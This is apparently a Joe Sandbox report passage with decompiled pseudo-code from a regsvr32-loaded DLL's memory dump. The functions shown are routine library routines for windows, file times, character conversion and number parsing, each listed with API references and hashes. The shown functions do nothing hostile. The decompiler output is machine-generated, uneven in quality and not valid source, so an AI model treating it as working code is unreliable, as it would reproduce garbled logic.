Download Yara Rule

C-Code - Quality: 81%

			E6EB58527(intOrPtr __ecx, signed int _a4) {
				intOrPtr _v8;
				struct HWND__* _v12;
				struct HWND__* _v16;
				struct HWND__* _v20;
				signed int _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t52;
				struct HWND__* _t55;
				intOrPtr _t56;
				struct HWND__* _t59;
				struct HWND__* _t60;
				int _t61;
				struct HWND__* _t67;
				struct HWND__* _t69;
				struct HWND__* _t70;
				struct HWND__* _t71;
				intOrPtr _t79;
				struct HWND__* _t81;
				signed int _t83;
				void* _t90;
				intOrPtr _t95;
				signed int _t96;
				signed int _t99;
				struct HWND__** _t101;

				_t96 = _a4;
				_t79 = __ecx;
				_v8 = __ecx;
				if(_t96 == 0) {
					return 0;
				}
				_t52 =  *(__ecx + 0x44);
				_a4 = 0;
				_v16 = _t52;
				_v20 = _t52;
				__eflags = _t52;
				if(_t52 != 0) {
					_a4 =  *(E6EB4ABF2( &_v16));
				}
				_t83 = 0;
				_v12 = 0;
				_v24 = 0;
				__eflags =  *(_t96 + 8);
				if( *(_t96 + 8) <= 0) {
					L32:
					__eflags = 1;
					return 1;
				} else {
					do {
						_t55 = _a4;
						__eflags = _t55;
						if(_t55 == 0) {
							L13:
							_t56 =  *((intOrPtr*)(_t96 + 0xc));
							_t99 = _t83 << 3;
							__eflags =  *(_t99 + _t56);
							if( *(_t99 + _t56) == 0) {
								goto L31;
							}
							__eflags = _v12;
							if(_v12 != 0) {
								_push(2);
								_push(_v12);
							} else {
								_t81 =  *(_t79 + 0x20);
								__eflags = _t81;
								if(_t81 != 0) {
									_t81 =  *(_t81 + 0x20);
								}
								_push(5);
								_push(_t81);
							}
							_t59 = E6EB57A58( *( *((intOrPtr*)(_t96 + 0xc)) + _t99), GetWindow());
							_t80 = _t59;
							__eflags = _t59;
							if(__eflags == 0) {
								_t67 =  *(_v8 + 0x20);
								__eflags = _t67;
								if(__eflags != 0) {
									_t67 =  *(_t67 + 0x20);
								}
								_t80 = GetDlgItem(_t67,  *( *((intOrPtr*)(_t96 + 0xc)) + _t99));
							}
							_t60 = E6EB47C96(__eflags, 0xc);
							__eflags = _t60;
							if(_t60 == 0) {
								_t101 = 0;
								__eflags = 0;
							} else {
								_t101 = E6EB5781B(_t60, _t80,  *((intOrPtr*)( *((intOrPtr*)(_t96 + 0xc)) + _t99 + 4)));
							}
							_t61 = IsWindow( *_t101);
							__eflags = _t61;
							if(_t61 != 0) {
								_t90 = _v8 + 0x40;
								__eflags = _v20;
								_v12 =  *_t101;
								_push(_t101);
								if(__eflags == 0) {
									E6EB57BEF(_t80, _t90, _t96, _t101, __eflags);
								} else {
									_push(_v20);
									E6EB57C27(_t80, _t90, _t96, _t101, __eflags);
								}
							}
							_t79 = _v8;
							goto L31;
						}
						_t69 =  *(_t55 + 4);
						__eflags = _t69;
						if(_t69 == 0) {
							goto L13;
						}
						_t95 =  *((intOrPtr*)(_t96 + 0xc));
						__eflags =  *((intOrPtr*)(_t69 + 0x2c)) -  *((intOrPtr*)(_t95 + _t83 * 8));
						if( *((intOrPtr*)(_t69 + 0x2c)) !=  *((intOrPtr*)(_t95 + _t83 * 8))) {
							goto L13;
						}
						_t70 =  *(_t69 + 0x24);
						__eflags = _t70;
						if(_t70 != 0) {
							_v12 = _t70;
						}
						_t71 = _v16;
						_v20 = _t71;
						__eflags = _t71;
						if(_t71 == 0) {
							_a4 = _a4 & 0x00000000;
						} else {
							_a4 =  *(E6EB4ABF2( &_v16));
						}
						L31:
						_t83 = _v24 + 1;
						_v24 = _t83;
						__eflags = _t83 -  *(_t96 + 8);
					} while (_t83 <  *(_t96 + 8));
					goto L32;
				}
			}

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4306f3f60f427a3270d105f8fd5a326de74ec8cd4e0ea1f95a5976771a5a0b8a
Instruction ID: 53cc1396aee24281c986b061ec17aaf9424eaf96ea288d84c125089242c2e0b8
Opcode Fuzzy Hash: 4306f3f60f427a3270d105f8fd5a326de74ec8cd4e0ea1f95a5976771a5a0b8a
Instruction Fuzzy Hash: 67512871A20256EFDB50CFE8D890A9DBBB8FF08344B11856AE915EB351D770E960CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB60D9C Relevance: 6.1, APIs: 4, Instructions: 131
timeCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB60D9C(void* __ebx, void* __ecx, void* __eflags, signed int* _a4) {
				signed int _v8;
				signed int _v12;
				char _v20;
				struct _FILETIME _v28;
				struct _FILETIME _v36;
				char _v44;
				void* __edi;
				void* __esi;
				void* _t56;
				signed int* _t60;
				signed int* _t82;
				signed int* _t85;
				signed int* _t88;
				struct _FILETIME* _t94;
				void* _t106;
				CHAR* _t107;
				signed int* _t108;
				void* _t112;

				_t91 = __ecx;
				_t108 = _a4;
				_t106 = __ecx;
				E6EB65E80(__ecx, _t108, 0, 0x128);
				E6EB48C1B(__ebx, _t91, _t106, _t108,  &(_t108[8]), 0x104,  *(_t106 + 0xc), 0xffffffff);
				_t56 =  *(_t106 + 4);
				_t112 = _t56 -  *0x6eb7b3d0; // 0xffffffff
				if(_t112 == 0) {
					L20:
					return 1;
				}
				_t94 =  &_v20;
				if(GetFileTime(_t56, _t94,  &_v28,  &_v36) != 0) {
					_t60 =  &_v12;
					__imp__GetFileSizeEx( *(_t106 + 4), _t60);
					if(_t60 == 0) {
						goto L2;
					}
					_t108[6] = _v12;
					_t108[7] = _v8;
					_t107 =  *(_t106 + 0xc);
					if( *((intOrPtr*)(_t107 - 0xc)) != 0) {
						_t108[8] = (_t94 & 0xffffff00 | GetFileAttributesA(_t107) == 0xffffffff) - 0x00000001 & _t64;
					} else {
						_t108[8] = 0;
					}
					if(E6EB60C19( &_v20) == 0) {
						 *_t108 =  *_t108 & 0x00000000;
						_t108[1] = _t108[1] & 0x00000000;
					} else {
						_t88 = E6EB60D3C( &_v44,  &_v20, 0xffffffff);
						 *_t108 =  *_t88;
						_t108[1] = _t88[1];
					}
					if(E6EB60C19( &_v28) == 0) {
						_t108[4] = 0;
						_t108[5] = 0;
					} else {
						_t85 = E6EB60D3C( &_v44,  &_v28, 0xffffffff);
						_t108[4] =  *_t85;
						_t108[5] = _t85[1];
					}
					if(E6EB60C19( &_v36) == 0) {
						_t108[2] = 0;
						_t108[3] = 0;
					} else {
						_t82 = E6EB60D3C( &_v44,  &_v36, 0xffffffff);
						_t108[2] =  *_t82;
						_t108[3] = _t82[1];
					}
					if(( *_t108 | _t108[1]) == 0) {
						 *_t108 = _t108[2];
						_t108[1] = _t108[3];
					}
					if((_t108[4] | _t108[5]) == 0) {
						_t108[4] = _t108[2];
						_t108[5] = _t108[3];
					}
					goto L20;
				}
				L2:
				return 0;
			}

APIs

_memset.LIBCMT ref: 6EB60DB3

Part of subcall function 6EB48C1B: __cftof.LIBCMT ref: 6EB48C2C

GetFileTime.KERNEL32(?,?,?,?), ref: 6EB60DEA
GetFileSizeEx.KERNEL32(?,?), ref: 6EB60E02

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: File$SizeTime__cftof_memset
String ID:
API String ID: 2749391713-0
Opcode ID: c40b83ee1b7fa4f7d5157b040f29dd8ec98d687f673a6623ed5809d2a173c247
Instruction ID: 6040e0aecd72dcce737a4174c2c456d76beee7e1fffbdb1c4fde63bbed81d1ca
Opcode Fuzzy Hash: c40b83ee1b7fa4f7d5157b040f29dd8ec98d687f673a6623ed5809d2a173c247
Instruction Fuzzy Hash: BD510C719146569FCB24CFAAD840D9ABBF8FB09320F008A2DE5A6D3690E730F545CB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4FB3E Relevance: 6.1, APIs: 4, Instructions: 104
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E6EB4FB3E(void* __ecx, struct HWND__** _a4) {
				struct HWND__** _v8;
				struct HWND__** _v12;
				long _t31;
				struct HWND__** _t32;
				struct HWND__** _t44;
				struct HWND__** _t45;
				long _t47;
				void* _t49;
				struct HWND__** _t63;

				_push(__ecx);
				_push(__ecx);
				_t49 = __ecx;
				if( *((intOrPtr*)(__ecx + 0x4c)) != 0) {
					_t31 = _a4;
					if(_t31 != 0) {
						if( *((intOrPtr*)(_t31 + 8)) == 0) {
							L4:
							_t32 = E6EB56750( *((intOrPtr*)(_t49 + 0x4c)) + 0x40, _t31, 0);
							_v12 = _t32;
							_a4 = _t32;
							E6EB4ABF2( &_a4);
							while(_a4 != 0) {
								_t37 =  *((intOrPtr*)(E6EB4ABF2( &_a4)));
								_v8 =  *((intOrPtr*)(E6EB4ABF2( &_a4)));
								if((E6EB4F7CC(_t37) & 0x00020000) != 0) {
									break;
								} else {
									_t45 = _v8;
									if(_t45[2] == 0 || SendMessageA( *_t45, 0xf0, 0, 0) != 1) {
										continue;
									} else {
										L16:
										_t44 = _v8;
										goto L17;
									}
								}
								goto L18;
							}
							_a4 = _v12;
							_t31 = E6EB4F8E8( &_a4);
							while(_a4 != 0) {
								_t63 =  *(E6EB4F8E8( &_a4));
								_v8 = _t63;
								if(_t63[2] == 0) {
									L13:
									_t31 = E6EB4F7CC(_t63);
									if((_t31 & 0x00020000) == 0) {
										continue;
									}
								} else {
									if(SendMessageA( *_t63, 0xf0, 0, 0) == 1) {
										goto L16;
									} else {
										_t63 = _v8;
										goto L13;
									}
								}
								goto L18;
							}
						} else {
							_t47 = SendMessageA( *_t31, 0xf0, 0, 0);
							_t44 = _a4;
							if(_t47 == 1) {
								L17:
								_t31 = SendMessageA( *_t44, 0xf1, 0, 0);
							} else {
								goto L4;
							}
						}
						L18:
					}
				}
				return _t31;
			}

APIs

SendMessageA.USER32 ref: 6EB4FB74
SendMessageA.USER32 ref: 6EB4FBD9
SendMessageA.USER32 ref: 6EB4FC1E
SendMessageA.USER32 ref: 6EB4FC47

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 6a049f3873367ed301024d363a03c62fdb1fe40739116c862de71420d1c427cc
Instruction ID: 1b65ee452e66fb4d88def6e6bf56e575620373f2e41b31a2b99afeade1f60408
Opcode Fuzzy Hash: 6a049f3873367ed301024d363a03c62fdb1fe40739116c862de71420d1c427cc
Instruction Fuzzy Hash: EC318170550259FFDB15CF95C8A0E9E3F6AEF42790F20906AF9059B219DB30ED81EB90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB71F42 Relevance: 6.1, APIs: 4, Instructions: 103
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6EB71F42(void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				intOrPtr _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t73;

				_t73 = _a8;
				if(_t73 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t73 != 0) {
						E6EB66BE4( &_v20, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E6EB7166F( *_t73 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								_t40 = _v20 + 4; // 0x0
								__eflags = MultiByteToWideChar( *_t40, 9, _t73, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E6EB66B6E(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t15 = _t56 + 0xac; // 0x0
							_t65 =  *_t15;
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								_t24 = _t56 + 0xac; // 0x0
								__eflags = _a12 -  *_t24;
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t73[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t26 = _t56 + 0xac; // 0x0
								_t57 =  *_t26;
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t21 = _t56 + 4; // 0x0
							_t58 = MultiByteToWideChar( *_t21, 9, _t73, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t73 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 6EB71F76
__isleadbyte_l.LIBCMT ref: 6EB71FAA
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,?,?,6EB85358,00000000,00000000,00000020), ref: 6EB71FDB
MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,?,?,6EB85358,00000000,00000000,00000020), ref: 6EB72049

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 10dbc57f6173d7b82f4c6931a0246ccd7f5f231f4919ae4d3515bb303fd18665
Instruction ID: b84034525f8a1fd598d65875fdbe0a3bab7b0894820309788df29fd0b2a1c25c
Opcode Fuzzy Hash: 10dbc57f6173d7b82f4c6931a0246ccd7f5f231f4919ae4d3515bb303fd18665
Instruction Fuzzy Hash: 52317A31A14296EFDF20DFA4C8A49AE3FA5EF01310F1985A9E4B19F491D331D944DB60

Uniqueness

Uniqueness Score: -1.00%

Function 6EB56350 Relevance: 6.1, APIs: 4, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E6EB56350(void* __ecx, void* __edx, void* __edi, void* __eflags, signed int _a4) {
				void* __ebx;
				void* __esi;
				void* __ebp;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				signed int _t39;
				void* _t47;
				intOrPtr* _t48;
				void* _t50;
				void* _t51;
				void* _t64;
				void* _t65;
				intOrPtr _t66;
				void* _t68;
				void* _t70;

				_t65 = __edi;
				_t64 = __edx;
				_t51 = E6EB53D53(_t50, __ecx, __edi, _t68, __eflags);
				_t29 =  *((intOrPtr*)(_t51 + 0x10));
				if(_t29 == 0) {
					L19:
					return 0 |  *((intOrPtr*)(_t51 + 0x10)) != 0x00000000;
				}
				_t32 = _t29 - 1;
				 *((intOrPtr*)(_t51 + 0x10)) = _t32;
				if(_t32 != 0) {
					goto L19;
				}
				if(_a4 == 0) {
					L8:
					_push(_t65);
					_t66 =  *((intOrPtr*)(E6EB53D20(_t51, _t65, 0, _t77) + 4));
					_t70 = E6EB555E7(0x6eb8c6e8);
					if(_t70 == 0 || _t66 == 0) {
						L18:
						goto L19;
					} else {
						_t35 =  *((intOrPtr*)(_t70 + 0xc));
						_t80 = _t35;
						if(_t35 == 0) {
							L12:
							if( *((intOrPtr*)(_t66 + 0x98)) != 0) {
								_t36 =  *((intOrPtr*)(_t70 + 0xc));
								_a4 = _a4 & 0x00000000;
								_t83 = _t36;
								if(_t36 != 0) {
									_push(_t36);
									_t39 = E6EB675B3(_t51, _t64, _t66, _t70, _t83);
									_push( *((intOrPtr*)(_t70 + 0xc)));
									_a4 = _t39;
									E6EB642E6(_t51, _t66, _t70, _t83);
								}
								_t37 = E6EB643C3(_t51, _t64, _t66,  *((intOrPtr*)(_t66 + 0x98)));
								 *((intOrPtr*)(_t70 + 0xc)) = _t37;
								if(_t37 == 0 && _a4 != _t37) {
									 *((intOrPtr*)(_t70 + 0xc)) = E6EB643C3(_t51, _t64, _t66, _a4);
								}
							}
							goto L18;
						}
						_push(_t35);
						if(E6EB675B3(_t51, _t64, _t66, _t70, _t80) >=  *((intOrPtr*)(_t66 + 0x98))) {
							goto L18;
						}
						goto L12;
					}
				}
				if(_a4 != 0xffffffff) {
					_t47 = E6EB522D1();
					if(_t47 != 0) {
						_t48 =  *((intOrPtr*)(_t47 + 0x3c));
						_t77 = _t48;
						if(_t48 != 0) {
							 *_t48(0, 0);
						}
					}
				}
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x20)), _t65);
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x1c)), _t65);
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x18)), _t65);
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x14)), _t65);
				E6EB5627D(_t51,  *((intOrPtr*)(_t51 + 0x24)), _t65);
				goto L8;
			}

APIs

__msize.LIBCMT ref: 6EB563E3
__msize.LIBCMT ref: 6EB56406
_malloc.LIBCMT ref: 6EB5641E
_malloc.LIBCMT ref: 6EB56433

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: __msize_malloc
String ID:
API String ID: 1288803200-0
Opcode ID: 85750abc150a0b7a97fddf2cc803caddc84319670945c86def88412e41d67883
Instruction ID: 911f5cb27f95d5b7462ddbb6a14a4dcbd62c3a1b515f0bbe97623af1df5f4c7d
Opcode Fuzzy Hash: 85750abc150a0b7a97fddf2cc803caddc84319670945c86def88412e41d67883
Instruction Fuzzy Hash: 0921D7306306919FDB559FF4D890AAE7FA8EF00754B208D25D828CB369DB31D8A1CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5F06B Relevance: 6.1, APIs: 4, Instructions: 78
windowCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6EB5F06B(void* __ebx, intOrPtr _a4, intOrPtr _a8, signed char _a12) {
				void* _t23;
				void* _t28;
				signed char _t29;
				intOrPtr _t34;
				intOrPtr _t35;
				void* _t36;

				_t28 = __ebx;
				_t35 = _a8;
				if(_t35 == 0) {
					_t34 = _a4;
					L14:
					_t36 = E6EB4C72D(_t28, _t31, GetTopWindow( *(_t34 + 0x20)));
					if(_t36 != 0) {
						L7:
						if((GetWindowLongA( *(_t36 + 0x20), 0xffffffec) & 0x00010000) == 0) {
							L18:
							return _t36;
						}
						_push(_t28);
						_t29 = _a12;
						if((_t29 & 0x00000001) == 0 || IsWindowVisible( *(_t36 + 0x20)) != 0) {
							if((_t29 & 0x00000002) == 0 || E6EB4F6F2(_t36) != 0) {
								_push(_t29);
								_push(0);
								_push(_t36);
								goto L17;
							} else {
								goto L12;
							}
						} else {
							L12:
							_push(_t29);
							_push(_t36);
							_push(_t34);
							L17:
							_t36 = E6EB5F06B(_t29);
							goto L18;
						}
					}
					return _t34;
				}
				_t31 = _t35;
				_t23 = E6EB4F93E(_t35, 2);
				_t34 = _a4;
				while(_t23 == 0) {
					_t35 = E6EB5F012(_t34, E6EB4C72D(_t28, _t31, GetParent( *(_t35 + 0x20))));
					if(_t35 == 0 || _t35 == _t34) {
						goto L14;
					} else {
						_t31 = _t35;
						_t23 = E6EB4F93E(_t35, 2);
						continue;
					}
				}
				_t36 = E6EB4F93E(_t35, 2);
				goto L7;
			}

APIs

GetTopWindow.USER32(?), ref: 6EB5F106

Part of subcall function 6EB4F93E: GetWindow.USER32(?,?), ref: 6EB4F94A

GetParent.USER32(?), ref: 6EB5F08E
GetWindowLongA.USER32 ref: 6EB5F0C8
IsWindowVisible.USER32 ref: 6EB5F0E1

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: Window$LongParentVisible
String ID:
API String ID: 506644340-0
Opcode ID: 82e4940b84384573ad5b42466c96783e0d85ae6e82a2cb6e0a5a68c38257b315
Instruction ID: 35a801ba238ff416693f8163d70a6b956963645febde025cdc3e55cd52e7192a
Opcode Fuzzy Hash: 82e4940b84384573ad5b42466c96783e0d85ae6e82a2cb6e0a5a68c38257b315
Instruction Fuzzy Hash: E6113A72250AA267DB222EE5CC15F9FBE6DFF85B90F290524F951AB394D720CC118790

Uniqueness

Uniqueness Score: -1.00%

Function 6EB578F4 Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 17%

			E6EB578F4(intOrPtr __ebx, intOrPtr* __ecx, intOrPtr __esi, intOrPtr _a4, signed int* _a8, intOrPtr _a12) {
				signed int _v8;
				signed char _v264;
				void* __edi;
				signed int _t11;
				signed int _t14;
				void* _t16;
				char _t19;
				signed int _t22;
				intOrPtr _t23;
				signed int* _t35;
				intOrPtr _t36;
				CHAR* _t38;
				signed int _t42;

				_t37 = __esi;
				_t26 = __ebx;
				_t40 = _t42;
				_t11 =  *0x6eb89470; // 0x8926f9d4
				_v8 = _t11 ^ _t42;
				_t35 = _a8;
				_push(0x100);
				_t33 =  &_v264;
				_push( &_v264);
				_push(_a4);
				_t14 =  *((intOrPtr*)( *__ecx + 0x7c))();
				if(_t14 != 0) {
					_push(__ebx);
					_push(__esi);
					_t38 =  &_v264;
					_t16 = E6EB67E83(_v264 & 0x000000ff);
					while(_t16 != 0) {
						_t38 = CharNextA(_t38);
						_t16 = E6EB67E83( *_t38 & 0x000000ff);
					}
					_t19 =  *_t38;
					if(_t19 == 0x2b || _t19 == 0x2d) {
						_t38 = CharNextA(_t38);
					}
					_t22 = E6EB67DAC( *_t38 & 0x000000ff);
					_pop(_t37);
					_pop(_t26);
					if(_t35 != 0) {
						 *_t35 = _t22;
					}
					if(_t22 == 0) {
						goto L4;
					} else {
						_push(0xa);
						_push(0);
						_push( &_v264);
						if(_a12 == 0) {
							_t23 = E6EB67CB9();
						} else {
							_t23 = E6EB67C8E();
						}
					}
				} else {
					if(_t35 != 0) {
						 *_t35 =  *_t35 & _t14;
					}
					L4:
					_t23 = 0;
				}
				_pop(_t36);
				return E6EB63DE0(_t23, _t26, _v8 ^ _t40, _t33, _t36, _t37);
			}

APIs

CharNextA.USER32(?), ref: 6EB5794D

Part of subcall function 6EB67E83: __ismbcspace_l.LIBCMT ref: 6EB67E8D

CharNextA.USER32(00000000), ref: 6EB5796A
__wcstoi64.LIBCMT ref: 6EB57995
__wcstoui64.LIBCMT ref: 6EB5799C

Part of subcall function 6EB67CB9: strtoxl.LIBCMT ref: 6EB67CDB

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CharNext$__ismbcspace_l__wcstoi64__wcstoui64strtoxl
String ID:
API String ID: 1826523842-0
Opcode ID: ae05b3ff99e4ff3b1a1e48db508b1e78bcbb61d249b9abf87028a7f443457272
Instruction ID: 974a6ee5a46086babe6acac37de72d112873475713a12a89da57eb78778881bb
Opcode Fuzzy Hash: ae05b3ff99e4ff3b1a1e48db508b1e78bcbb61d249b9abf87028a7f443457272
Instruction Fuzzy Hash: 2C21DE716102A6EBCB109EB98C40BEE7FF9AF56310F104495E594D7280EBB0C9918AB1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5C6FF Relevance: 6.1, APIs: 4, Instructions: 71
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 37%

			E6EB5C6FF(signed int _a4, signed int _a8, intOrPtr _a12) {
				void* _t15;
				signed int _t17;
				void* _t18;
				void* _t19;
				signed int _t23;
				signed int* _t31;

				_t31 = _a8;
				if(_t31 == 0) {
					return _t15;
				}
				_t23 = _a4;
				if((_t23 & 0x00002000) == 0) {
					_t17 = (_t23 & 0x0000ffff) - 8;
					if(_t17 == 0) {
						__imp__#6( *_t31);
						L16:
						 *_t31 =  *_t31 & 0x00000000;
						L17:
						if((_t23 & 0x00001000) != 0 &&  !(_t23 & 0x00004000) != 0) {
